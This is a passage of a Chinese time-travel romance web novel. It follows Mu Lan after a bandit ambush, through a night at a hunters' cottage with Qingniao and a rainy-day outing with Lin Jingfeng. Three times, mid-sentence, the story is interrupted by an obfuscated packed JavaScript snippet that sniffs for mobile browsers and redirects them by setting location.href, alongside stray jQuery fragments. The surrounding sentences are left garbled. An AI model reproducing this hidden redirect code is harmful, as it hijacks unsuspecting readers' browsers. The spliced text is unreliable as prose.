瘦猴不屑笑道:“男的杀了女的卖,货物钱财我们全都要!” 话说到这份上,再没什么别的好讲。两边人马当即拔出刀,就地开练。 林惊风利落挥剑,一道血花漾开,神色从容冷淡。 劫匪首领大惊,他原本见这人极好说话,才生了些龌龊心思,没想到居然是个硬茬,当即一群人开始围攻。 木澜也很震惊,她素日见林惊风一副清瘦书生的模样,以为不会武功,没想到杀人如砍瓜切菜。 连平日里和煦贪吃的阿贵也迎了上去,加入战局。 到底是双拳难敌四手,他俩再厉害,也被缠住无法脱身。 瘦猴眼见双方僵持下来,带着几个人一瘸一拐地靠近马车。 含笑瑟瑟发抖,木澜强迫自己镇定下来,一手护住溪风,一手拔下刚刚的羽箭。 面前隐隐现出一个黑影,脚步声已经到了跟前。 木澜的呼吸屏住。 刚掀开车帘,一道白光闪过,瘦猴不可置信地捂着脖子,当即倒地。 木澜回眸看去,青鸟的手上正捏着一只瓷盘,上面硬生生被掰掉了一块。 他没有刀具,应该是随手拿的。 瘦猴倒下后,青鸟拾起他的刀,威风凛凛往车头上一坐。 “不怕死的可以来试试!” 劫匪不敢过去,眼见一群人打不过,首领低声骂一句,随后一声尖利的哨声响起。 山坡上立马攒动起来,木澜发觉不对:“不好,有弓箭手!” 林惊风也意识到了,回头喊道:“你们先走!到前面汇合。” 可已经来不及,几支羽箭从树林里射出,马车就像是个移动的箭靶子。 木澜当即从马车里钻出来,指挥大家散开,一人分一匹快马。 解开辕绳的那刻,木澜突然发现——她不会骑马。 溪风注意到她的迟疑,立马伸手来接,千钧一发之际,一支羽箭猛然袭来。 木澜清楚地看见那支羽箭是如何射出,甚至射箭那人嘴角的笑还未停泊,一切似乎放慢了。 木澜望着眼前的溪风,未做犹豫,当即收回了手。 “木澜——” 她救过自己的命,总不能连累她。木澜这样想。 一道影子猛然扑过来,耳边掠起阵阵风声,随后便是一整个天旋地转。 她仿佛回到了倒塌的舞台,升降机重重一砸,台下响起惊叫声,随后眼前一黑。 不知过了多久,一阵淅沥的水声响起。 木澜缓慢睁开眼,只见一条小溪从旁流过,草地柔软,柳荫蔽日,一片山清水秀的好天地。 自己这是——没死? 木澜赶忙检查自己的手脚,都还能动,除了衣裙被刮破了,身上连擦伤都没有。 莫非——自己的金手指其实是刀枪不入? 想到这儿,她满是劫后余生的狂喜,拍拍自己的肩膀,越看越满意。 “喂!醒了就从我身上下去。” 木澜吓得一激灵,才发现屁股下面有点硬,好像是一节腿。 回头看去,正对上一双幽怨的绿眼睛。 青鸟本就松垮的衣服更显破烂,袖口挽着,露出几道划破的口子,一头微卷的褐发里裹着几片树叶,看着乱糟糟的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730555|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “青鸟?你怎么在这儿!” 木澜帮他把树叶摘掉,他不吭声,由着木澜动作。 木澜摘完叶子,视线停在他流血的手臂:“怎么还受伤了?” 青鸟淡淡开口:“为了救人。” “你救谁了?” 青鸟不语,只凉凉地盯着她。 木澜皱眉,有些不明所以。 青鸟对木澜而言就是个小孩子,她大人有大量,不跟小孩计较。 但伤口还是要处理一下的。 木澜把他拉到河水边,洗去污血,自己则左右转了转,采来一捧艾草,揉碎,往伤口上抹。 之前青鸟受伤也是木澜给他治好的,因此他不躲,反而配合地把袖子往上撩。 他看着木澜细心的抹着,忍不住软了声音问她:“这是我们抽的那个草吗?” “不是,”木澜捏了片叶子凑到青鸟鼻尖,“这个是艾草,有一股浓郁的香味,你闻闻。” 青鸟微微退后一点,避开木澜的手,轻嗅一瞬。 “闻到了。” “记住了,这个可以止血。”他见青鸟不方便,搀着他站起来。 木澜环视四周,这里是一座山谷,他们应该是躲藏劫匪时掉下来的。木澜注意到山坡很陡峭,要想原路返回怕是不行,得重新寻找出路。 她决定顺着小溪走,也许会遇上人家。 “没想到我们不仅大难不死,还能找到一处这样美丽的山谷。” 漫山遍野的银莲花开得正好,白花黄蕊,随风摇摆,仙气十足。 木澜深呼吸一口,手指从柔嫩的花瓣间拂过,赞道:“好多煎蛋花呀!” 青鸟:“……” 木澜回眸,就看见青鸟一脸见鬼的神情。 木澜不解:“作甚这样看着我?” 青鸟深呼吸一口,终于问出那个困惑他许久的问题: “你是仙女?” 这是在马车上阿贵说的话。 木澜大言不惭,坦然承认:“不错!” 青鸟的额头抽动了一下,“怎么证明?” 木澜惊讶地抬头,她自行骗至今,这还是第一个怀疑她的人,还是平日里最不聪慧的青鸟。 不过她也不恼,心中早有应对之策。她是现代人,利用一些信息差糊弄古人实在简单,更遑论青鸟还是一个草原人。 木澜随手捡起一根树枝,用长丝线绑着,撕下一页空白账簿,裁成边角穿在丝线上,随即几个轻悠悠的旋转,手里带着纸片的丝线便舞动起来。 正值暖秋,阳光明媚,野花盛开。 不多时,山林里数不尽的蝴蝶乘着阳光而来,围在身边,如同起起落落的金光,追逐着木澜的身影。 蓝天白云、花香鸟语都淡去,视野里依旧鲜活的,只剩下木澜扬起的裙摆,和万千飞舞的蝶影。 青鸟也停在这一刻凝固的时光里。 木澜瞧见他的呆样便笑着收了势,她自认这一记招蜂引蝶之术非常高明。 “现在信了吗?” 木澜提着裙边,像一只轻盈的鹭鸶,落到青鸟的面前。身后霞光万丈,蝶影翩翩。 青鸟猝不及防,后退了一步。 面前人眼里满是促狭的盈盈笑意。 青鸟心中轰然一声,尾音轻颤,微不可查。 “……信了。” 木澜察觉出青鸟有些心不在焉,凑近绕着他转了一圈,青鸟却偏开脸。 木澜恍然大悟道:“我知道了,你怕蝴蝶?” 青鸟像是遇上什么洪水猛兽,有些回避她灼灼的目光,随意“嗯”了一声。 木澜笑了,使劲挥舞着树枝来追他。 “总算是知道你小子怕什么了,看我的厉害!” 夕阳西下,两道身影跑得飞快,前面那个还有些一瘸一拐,清脆的笑声像是要把天上的云都震下来。 11. 山谷人家 顺着溪流走出几里,木澜反应过来:“青鸟,是你救的我?” 青鸟简直要被她气死:“你才看出来!” 木澜却觉得毛骨悚然,她实在不明白青鸟为什么要救她,他俩一直以来都很看对方不顺眼。 所以,木澜理所当然地发问:“你为什么要救我?” 青鸟耸耸肩:“我心善不行么?” “行!怎么不行呢。”木澜随口接话,反正她一向是不明白这人的脑回路。 两人互相搀扶着,远远地瞧见前面竹林升起一缕炊烟。 “有人家!” 木澜心下当即有了主意,对青鸟说:“我们就说是一对姐弟,待会儿——” 话没说完,就被青鸟打断了。 他道:“不行!” 木澜不解:“为什么不行?” 青鸟继续摇头,语气坚决:“不行就是不行!” 这臭小子还反了教了!木澜大为恼怒:“我比你大两岁,当姐怎么了?这也要抢,你还想当哥是吧?” 青鸟不置可否,只重复了一句:“反正你不是我姐。” 臭毛病!木澜懒得惯他。 走近,敲了门,出来的是一对老夫妻。 木澜微微躬身:“老人家好!” 老伯有些疑惑,还是点头应了,问道:“是有什么事吗?” 木澜润了润嗓子,还是想到青鸟刚才的抗拒,改口道: “是这样的,我们是一对夫妻,在路上遇到劫匪,不慎迷路。现在天色已晚,想借此叨扰一晚,明日再行离开,不知可否——” 木澜话还没说完,青鸟就大叫起来:“谁跟你是夫妻!” 那老伯立马狐疑地瞧她,木澜恨不得掐烂青鸟的手心,面上却是不显,皮笑肉不笑地解释道:“他年纪小,害羞。” 青鸟在旁边疼得龇牙咧嘴,木澜又轻踹他一脚,立马不再动了。 那老伯觉得两人很是奇怪,但他妻子却笑眯了眼睛,道:“救人一命胜造七级浮屠嘛,只是我们家小,只剩下一间屋子了。” 木澜忙道:“一间就好,一间足矣。” 青鸟此时转了转眼睛,恍然大悟道:“我知道了,你就是想和我住一间是不是?” 老伯妻子见状笑了笑:“小夫妻俩感情真好。” 木澜简直要被气笑了,她忽然意识到青鸟或许真是上天派来克她的。 想到这儿,她竟真的笑了起来。只是这笑怎么看怎么苦涩。 “是呀,怎么不是呢?” 木澜让青鸟进房间里休息着,自己好手好脚的,不好意思白吃白住,帮老夫妻烧起了灶台。 她年纪小,嘴又特别甜,一口一个伯娘叫的亲热,把人哄的心花怒放,一会儿就打听出了信息。 这里是位于鄞州地界的一处山谷,夫妻俩是本地的猎户,才住在与世隔绝的深山里。 伯娘又问起青鸟:“姑娘,你家阿郎瞧着不像本地人呢。” 木澜角色进入得非常快,随口答:“他呀,没念过书,蛮夷来着。” 伯娘笑道:“不过长得漂亮呢。不像我家那口子,天天在山里,皮都晒老了。” 老伯在院子里劈柴,听到这话,停下手里的斧头道:“我年轻的时候也是十里八乡有名的俊生!现在姑娘家都怎么了?喜欢眼睛绿油油的罗刹。” 木澜也笑,顺着话说:“对!漂亮有什么用,又不能当饭吃。” 话才说完,就见青鸟立在门口,面色不虞,“啪”的一声把门关了。 木澜赶忙站起来:“诶诶诶,给我留个门儿!” 木澜本以为青鸟会把她关外面,做好捶门的准备,谁知轻手一推,门又开了。 一进门,青鸟便坐在窗边的小榻上,背对着她。 木澜轻手轻脚地走近,微风撩动着青鸟的发尖,他不回头。 木澜索性坐在床榻上,直接了当地开口:“又闹什么?” 青鸟头发尖晃得更厉害了,还是不说话。 木澜叹一口气,跟他解释道:“出门在外,夫妻只是一个掩护而已。我知道你不喜欢,好歹我们也算认识,彼此有个照应。” 青鸟终于回头:“那你为什么说我是蛮夷?” 木澜一哽,原来是为这事。她道:“我不是为了打探消息随口一说么,再说了,你确实——这能叫瞎说?” 木澜的话拐了一个弯儿,青鸟坐好,木澜见他不闹脾气,腾身从床榻上下来,卸下竹板,仔细检查起他的腿。 这条腿从初见时就不好,一伤再伤,今日又走久了,微微浮肿。 木澜照着穴位给他按了会儿,又重新绑好。 整个过程中,青鸟的眼睛始终一眨不眨地看着木澜。 良久,他终于出声:“我只是不会你们中原人的文字。” 木澜潦草地应了一声,关于青鸟的身份,她过去已经试探过数回,这人是不会跟她讲实话的。 青鸟见她只顾着手里的动作,微微坐正了些,有些不好意思地开口: “你可以……教我吗?我一定好好学。” 木澜抬眸看他,“你还想一直赖在这里?” 青鸟不看她:“总归是要待一段时间的。” 木澜对此不置可否,没说答应,也没明着拒绝。系好绷带后,她一抬下巴,示意道:“好了,你去床上。” 青鸟僵住,手指微微攥紧,面上微红:“这……不好吧,会不会太快了。我是说,我还没准备好……” 纠结半晌,他像是终于下定决心,抬起头羞涩一笑:“还是你睡床……” 木澜一把将人扯下去道:“磨磨蹭蹭什么呢!你是伤者你睡床,我睡这个小榻。” 青鸟被木澜半推半就地扯上床榻,她自己则窝在小榻,内心不由得为自己喝彩:就是这么侠肝义胆,义薄云天! 喜滋滋盖上被子,窗外明月皎洁,满室光华。 想起溪风,不知道她是否已经脱险,她会不会担心? 又想到林惊风,木澜心中始终带着一股奇异的感觉。 她见他会很不自在,想躲着可又舍不得,甚至在他面前迫切地想证明自己。这种别扭感她看不透,像是身处在初见时的那场雨雾里。 往日她最爱充当别人恋爱里的狗头军师,可她自己在过去的十八年里,并没有任何恋爱的经历。 她不知道自己是怎么了,想倾诉,可这里只有不解风情的青鸟。 想着想着,木澜眼皮逐渐沉重。 青鸟却没睡,始终辗转反侧。终于,他鼓起勇气询问木澜:“木澜,你睡了么?” 木澜一直被他翻身的声音吵着,不耐烦道:“睡了!” “哦。”青鸟裹紧被子,微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730556|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捂住脸,一双眼睛在暗夜里亮的出奇。 “那能不能在梦里告诉我,为什么对我这么好,还把床让给我啊?” 他说这话时声音特别小,像是说给自己听,尾音微微上翘,满是欣喜。 可惜对于快睡着的木澜来说,跟蚊子叫没什么区别。 在木澜的认知里,大家都是人,就算是关系不和,在这种情况下,肯定也要优先照顾伤者。 但青鸟却问“为什么”,这摆明是认为她不会这么做,是出人意料的。 木澜自问虽不是什么圣人,对青鸟多有堤防,可自己从未想过害他。 她越想越气,猛然坐起来道:“原在你心里,我与禽兽无异?” 青鸟猛然瞪大眼睛,不知道这是怎么了。 木澜却一蒙被子,道:“我算白认识你一场!” 青鸟想要解释,可面对那团卷在一起的被子,还是悻悻合上了嘴。 经过青鸟这么一打岔,木澜反而不再思考林惊风,沉沉睡了过去。 第二日,两人用过早饭后,同老夫妻告别。 临走时老伯还送给他们一根拐子,这是好东西,她不用扶着青鸟了。 两人就顺着老伯指的方向往前走,半日后,就到了驿站。 溪风他们果然在这里,见到木澜和青鸟还活着,好一阵谢天谢地。 木澜好奇:“你们怎么知道在这里等我?” 含笑道:“从云州去鄞州都会经过这儿的。真是命大,小姐担心你们一夜没睡呢。” “你真吓死我了。”溪风惊魂未定,认真对木澜说,“下一次,可别松手了。” 木澜笑着安慰她:“我这不是好好的么。” 又想到那个美丽的山谷,“我发现了一个地方,特别漂亮,等明年开春了我再带你去!” 溪风见她和往常一样插科打诨,这才放下心,应了一声:“好。” 青鸟被阿贵扶走治伤,临走时一直念念不忘地看着木澜。 其实一路上他找了数次机会,想跟木澜好好解释一番,可木澜不用搀扶他,一个人走在前面,等青鸟跟上,她再往前走。 木澜没看见林惊风,一番询问下,才知道他去了官府报官。 木澜此次来鄞州还有任务,她联系了几处织坊,只是情况都不甚乐观。 要么是货物太少,要么是东西太次,生意才有起色,可不能犯了品控不严的毛病。 木澜沿着长街,漫无目的地走着。 凉风习习,秋雨绵绵。细密雨丝像针尖一样没入衣衫,木澜寻了处檐下躲着,盼着能遇上个卖伞人。 等得无聊,她干脆蹲下身,往空中抛起铜板,边抛边数,待到一百时,铜板没接住,不偏不倚落在青砖石缝里。 捡还是不捡?这在过去,她肯定弃之不顾;可如今——她着实穷怕了。 余光一扫,趁周围没人,她猛地窜到雨中,赶紧伸手去捡。 可这铜板像是故意跟她作对,死活卡在石缝中,木澜几乎五体投地一顿掏,才从缝里将它抠了出来。 她刚把那枚失而复得的铜板举到眼前,笑得狡黠得意,才恍然惊觉——雨停了,准确来说,是不再落到自己身上了。 “在笑什么?” 闻声,木澜猛然抬头,映入眼帘的是一双干净的白靴,而白靴的主人,正在为她撑伞。 12. 骑牛弄蝶 木澜一骨碌从地上站起来,日思夜想的人出现在眼前,可偏偏自己又是这么个狼狈模样。 说捡铜板显得俗气——虽然她本来就是个俗人。 思来想去,她愣生生道:“在感受秋雨。” 林惊风闻言,伞面微偏,他伸出手,任凭雨丝落下,道:“这里的雨和云州不一样。” 随后从衣襟里取出一叠丝帕,递给木澜:“擦擦吧。” 果然还是被瞧见了,木澜认命接过,擦干净手,又把铜板搓了搓,放入荷包。 林惊风微微愣住,望着她狂野的动作,“我的意思是……擦脸。” 木澜没听清,问:“什么?” 林惊风没再吭声,话锋一转,问起木澜在这里做什么。 他应该是早得了阿贵的消息,知道她和青鸟都平安无事。 木澜回答得很实诚:“想找织坊,谁知路上下起了雨,就在檐下暂避。” 林惊风了然:“你没来过鄞州,这边好一些的织坊都只销熟人,生人需要门路。” 木澜心道怪不得,又是一个人情场。 她刚想问林惊风可否有门路,林惊风便道:“我引荐你去吧。” 木澜抬眼看他,此时他们正在同一把伞下,清濛濛的光影缭缭。 异样的情愫漾开,她闷声道:“谢大公子。” 林惊风抿唇一笑:“不必言谢,本也是自家生意。” 一场秋雨一场寒,木澜缩在檐下,脚边放了只火炉子,她侧头望着堂内的林惊风,他正在和织坊掌柜议事。 她本来也想去,但林惊风说她衣衫有些润,正值换季,不尽快烤干会着凉。 他说这句话的样子像极了溪风。溪风也是,总是用无比温柔的语气说着不容拒绝的话。 林惊风长得很符合男女老少对文人的想象,气质又温润无暇,他身上有一种自信从容的魔力,使得人们很容易相信他,甚至会情不自禁细声细气地跟他讲话。 他也时常扮演掮客的角色,冷静自持,嘴角下方一颗小痣,又平添几分无法言说的意味。 至于他们谈了什么,木澜一个字都没听清。 只晓得他出来时,臂弯抱了匹轻绯色锦缎。 木澜站起来:“谈妥了?” 林惊风笑着把锦缎递给她,木澜茫然接过,触到一手滑腻柔软。 她不明白他的意思,转到另一边小声问:“他是不是想抬价?” 林惊风无奈:“妥了。这是送给你的。” “送给我?”木澜展开,是一件镶着兔毛的斗篷,又轻又暖和。 木澜无意识地抚摸着,眼眶有些热,来到这个陌生地方后,她好久没穿过这么舒服漂亮的衣裳了。 她把斗篷摸了又摸,深吸一口气,还是还回去,坚决道:“就算是送礼,我也绝对不可能让利的!” 林惊风看着她明明很喜欢,还是一脸忍痛割爱的样子,不禁觉得好笑,又有些气。 “不是他,是我送你的。” 见木澜怔愣,他依旧好言地解释道:“我见你衣衫湿润,今日寒凉,望你不要怪我自作主张。” 木澜恍若脑子里爆炸一声,她方才在胡说八道些什么! 赶紧把斗篷系好,戴上帽子,围紧一圈兔毛,试图遮住滚烫的脸,瓮声瓮气道:“不怪的……谢大公子。” 木澜一路晕头转向地跟着他,她就是再傻,也明白自己砰砰乱跳的心是为何了。 她大概、也许、可能是喜欢上这个人了。 想明白这些,又开始思考林惊风对她怎样的态度,反正从他的样子来看,应该是不讨厌的。 那就有机会。木澜从来不觉得主动追求是一件丢脸的事,她也不是个坐以待毙的人。 只要向他展示自己的魅力,他迟早会爱上自己的。 一定是这样! 说干就干,这次两人共执一把伞,木澜不再青涩,而是昂首挺胸,自信张扬地扫视四周,就盼着出现什么意外,好叫她美救英雄。 雨声渐歇,林惊风收了伞,和木澜沿着山间小路,往驿站走。 鄞州多有梯田,层层叠叠的,田间地头依旧一片绿意葱茏,傍晚阳光清亮,却不灼眼,叶子上挂的水珠晶莹剔透,蜻蜓低飞,脆弱的羽翼忽闪忽闪,被人惊动,又慢腾腾飞远。 两人从田坎上穿行,一个欢快地小跑在前面;一个身姿挺拔稳重,跟在后面。 跃过一阶梯田,木澜眼眸一亮,惊叹出声:“好大一头水牛!” 水牛脾性温和,见到两个生人也不害怕,盘卧在地,神态安然,嘴里衔着一把草,慢悠悠嚼着。 这不就是机会么!木澜灵光一闪,扭头对林惊风道:“大公子有福了,可以一睹我骑牛的英姿。” 说罢,一撩袖子走过去。 林惊风大为不解,愣了很久,才回过味来,斟酌着劝道:“……骑牛做甚?我是说……这很危险。” 木澜却不理,自顾自扯了把鲜嫩的艾叶,直愣愣迎上去,先喂草,等牛吃完,围着牛身转了转,见牛没什么反对的,便手脚并用,往牛背上爬。 林惊风已经从一开始的震惊到现在的尝试接受,跟在后面,小心翼翼虚扶着她。 木澜上了牛背,用艾枝引牛稳稳走了几步。 她笑得飞扬恣意,生怕林惊风没欣赏到她矫健的身手,开始吹嘘起来。 “我小时候就骑过牛了,是一头特别大的黄牯牛,没这个舒服。那时候正值春天,弄我一裤子毛……” “……”林惊风无言,只沉默地伴在身侧,目光跟随着她。 木澜见他闷声不响,自己也玩够了,一个侧身从牛背上滑下来。 “好了,现在该你了。” 林惊风看得心惊肉跳,犹豫片刻,还是伸手,准备把人抱下来,木澜却已经稳稳落地,只能微微搀住她。 “什么?”他不明白木澜的意思。 木澜用下巴指了指牛,“现在轮到大公子你玩了。” 林惊风彻底僵住。 木澜却笑着凑到他面前,眉眼弯弯:“方才就见大公子眼巴巴瞧着,是不是早就心痒难耐了?” “……”不是,他绝无此意。 木澜只当他是害羞,放不下公子的派头。循循善诱:“试试嘛,很舒服的!再说了,这里是野外,不会有人看见的。” 林惊风对上木澜那双亮得魄人的眼睛,拒绝的话实在不忍出口。 他深吸一口气,勉强转头,只见水牛依旧嚼着草,流下一串长长的涎水。 林惊风: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730557|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”额角似有青筋微跳。 罢了!他心一横,手捏着衣袍,要不干脆—— “大公子!木澜!” 阿贵找过来了。 林惊风浑身一凛,如蒙大赦,心下一松。 阿贵跑过来,先是瞥见那庞然大物,皱眉低声道一句:“好大的水牛……”随即转向林惊风,恭谨说:“大公子,马车修好了。” 林惊风点点头。阿贵的打断是他所盼望的,但想到方才内心的挣扎,忍不住思索若是阿贵没来,自己又会如何? 心中若有所失。 木澜却是一步三回头,把手里的艾草全喂给了水牛,遗憾叹道:“真是可惜。” 林惊风:“倒也……不必。” 不过她很快又找到其他的乐趣,用斗篷从枝头上抓住一只蝴蝶。 刚回去小院,木澜便大声嚷着:“快来看我捉的蝴蝶!” 溪风闻声出来,只扫一眼,便道:“这是月神蛾。” 木澜抬手,那只月神蛾便煽动翅膀,轻旋地飞起来。 粉青色的羽翼在阳光下折射出魄人的光辉,越过满园姹紫嫣红,几个轻飘飘地起落后,停在了一只微曲的指节上。 手的主人也察觉到了,慢慢从廊下转过来,棕褐色的卷发被风吹的微乱,一双湖绿色眼睛安静得出奇。 正是青鸟。 他们自从上次就没再说过话,但难得见他有如此乖顺的一面,许是溪风在的缘故。岁月正好,木澜也生出了几分可以和他和平相处的念头,轻声道:“这是我的月神蛾。” “你的?” 木澜点点头,顺着杆子往上爬,“可以还给我吗?” 他不说话,木澜见他没有什么不耐烦的样子,大着胆子走近,刚准备开口,他便一个挥手,手上的蛾子受到惊动,立马飞出园子,再寻不到踪迹。 就知道青鸟这货没憋什么好屁!迎着他促狭的笑意,她重重踩了他一脚便跑走了。 经过鄞州一行后,木澜痛定思痛,立誓一定要学会骑马,绝不能在关键时刻掉链子。 其实是被含笑嘲笑了,她道木澜平时口号喊得震天响,却连骑马都不会,不是徒有其表么。 木澜受不了这气,当即夸下海口,一个月内一定学会! 她首先去找了阿贵,给他带了一盒凤梨酥,待他吃完,才讲明来意。 阿贵很是费解,直言道:“骑马?这还用教么?” 他嘴里叼着酥饼,一手便撑上马背,兜了两圈回来。 他是穷苦人家的孩子,很小的时候就被卖到了林府,早年跟着林大公子经商,这些是拿手本领。因此他的教育方式是先让木澜自己试试,他看出问题再一一改正。 奈何木澜是真的完全不会,两人对视良久,木澜决定去找溪风。 溪风倒是很支持她,只是她忙,府里事务缠身,便提议让青鸟来教她。 木澜拒绝,恨不得把脑袋摇匀了。 溪风没好气地说:“你们两个怎么又闹起来了?” 木澜也很委屈,想到山谷的那个晚上,道:“是他记恨我。” 溪风无言,想了想,说:“好吧,好吧。我让大哥教你,只是他忙,不见得有空。” 木澜正有此意,当即美美应下。